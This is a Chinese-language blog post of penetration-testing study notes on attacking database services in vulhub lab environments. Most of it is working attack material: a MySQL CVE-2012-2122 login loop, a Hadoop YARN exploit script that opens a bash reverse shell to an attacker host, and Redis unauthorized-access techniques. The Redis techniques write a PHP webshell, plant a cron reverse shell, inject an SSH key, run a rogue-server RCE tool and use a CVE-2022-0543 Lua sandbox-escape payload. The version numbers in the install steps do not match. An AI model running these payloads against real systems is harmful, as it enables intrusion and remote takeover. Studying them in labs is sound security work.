第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE

第55天:服务攻防-数据库安全&Redis&Hadoop&Mysql&未授权访问&RCE

知识点:

1、服务攻防-数据库类型安全
2、Redis&Hadoop&Mysql安全
3、Mysql-CVE-2012-2122漏洞
4、Hadoop-配置不当未授权三重奏&RCE漏洞
3、Redis-配置不当未授权三重奏&RCE两漏洞

章节内容:

常见服务应用的安全测试:
1、配置不当-未授权访问
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击

前置知识:

应用服务安全测试流程:(有才能测试)见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等

开了服务,但是端口没有:
1.内网 2.修改端口 3.防火墙waf

什么是redist

redist是一种数据库,类似Hadoop&Mysql

漏洞复现

1、CVE-2012-2122 ---mysql未授权访问

参考:https://vulhub.org/#/environments/mysql/CVE-2012-2122/

启动环境:
cd vulhub/mysql/CVE-2012-2122/
sudo docker-compose up -d
判断端口是否开放:
lsof -i:3306

exp:
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 172.18.0.1 -P3306 ; done

image-20231120233946416

可以看到直接被拿下了

注意:MySQL默认配置只允许本地登录root账户,远程连接一般被拒绝,而phpmyadmin是在对方的本地到本地的过程
判断:inrul:phpmyadmin

2、Hadoop ---未授权访问-配合命令执行rce

复现环境:https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

hadoop默认端口:50010
关闭靶场:sudo docker-compose down(要在对应目录下)
启动靶场:cd vulhub/hadoop/unauthorized-yarn
sudo docker-compose up -d

访问/cluster/apps 页面
如果页面存在,说明存在未授权访问漏洞
image-20231121233228605

exp:

#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

把target设置成要攻击的ip,注意最后一个字符/

本机设置监听:

nc -lvvp 9999

运行python脚本

python asd.py

成功拿下

image-20231121233117244

3、Redis未授权访问

配置及安装redis:

1、下载
wget http://download.redis.io/releases/redis-3.2.11.tar.gz

2、解压编译
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
make #编译

3、配置及启动
cd src/ #进入src目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd .. # 返回上一级目录
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务

什么原因导致redis未授权访问?

答案在在/etc/redis.conf里
image-20231121235734810

  1. 这里的# bind 127.0.0.1(如果开启的话只允许本地用户访问)
  2. protected-mode no(需要开启)
  3. 没有设置密码

连接成功后用数据库写webshell:

连接数据库:redis-cli -h 192.168.1.136

1、写Webshell 需得到Web路径

利用条件:Web目录权限可读写

config set dir /tmp            #设置WEB写入目录tmp取代web目录

config set dbfilename 1.php    #设置写入文件名

set test "<?php phpinfo();?>"  #设置写入文件代码

bgsave                         #保存执行

save                           #保存执行

注意:部分没目录权限读写权限

image-20231122001244784

可以看到已经写入1.php了

image-20231122001052926

写入对方服务器也是一样的,把路径改成web服务器路径就行了

2、写定时任务反弹shell
利用条件:
	1.允许异地登录
	2.安全模式protected-mode处于关闭状态
先保证连上数据库:redis-cli -h 192.168.1.136

config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.80/1111 0>&1\n\n\n"
config set dbfilename x

save

最后在攻击机上监听
47.100.167.248执行:
nc -lvvp 1111

我在这里报错了

image-20231122163327118

看别人的博客是说

centos会忽略乱码去执行格式正确的任务计划

而ubuntu并不会忽略这些乱码,所以导致命令执行失败

接下来的复现我就没有做了,这是别人写的:

3、写入Linux ssh-key公钥
利用条件:
1.允许异地登录
2.Redis服务使用ROOT账号启动
3.安全模式protected-mode处于关闭状态
4.允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
 
在kali主机中执行:
ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 175.178.151.29 -x set xxx
 
连接到175.178.151.29中执行:
redis-cli -h 175.178.151.29
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
 
在kali中连接:
cd /root/.ssh/
ssh -i id_rsa root@175.178.151.29
4、RCE自动化利用脚本-vulfocus(需要版本4.x和5.x)
利用到工具:https://github.com/vulhub/redis-rogue-getshell
参考文章:https://vulhub.org/#/environments/redis/4-unacc/
 
上传到175.178.151.29服务器中,然后执行:
python redis-master.py -r 123.58.236.76 -p 56879 -L 47.100.167.248 -P 1111 -f RedisModulesSDK/exp.so -c "id"
5.新漏洞-沙箱绕过RCE CVE-2022-0543-vulfocus
参考:https://vulhub.org/#/environments/redis/CVE-2022-0543/
 
Poc:执行id命令
连接到redis,执行;
redis-cli -h 123.58.236.76 -p 8736
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
posted @ 2023-11-22 17:14  redfish999  阅读(40)  评论(0编辑  收藏  举报